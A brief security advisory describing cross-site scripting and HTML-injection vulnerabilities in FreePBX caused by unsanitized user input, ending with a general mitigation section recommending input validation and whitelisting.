FreePBX Cross-Site Scripting and HTML-Injection Vulnerabilities

FreePBX is prone to a cross-site scripting vulnerability and multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content. Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Mitigation:

Input validation should be used to ensure that user-supplied data does not contain malicious HTML or script code. Additionally, applications should use a whitelist of acceptable inputs that strictly define what type of data can be accepted.
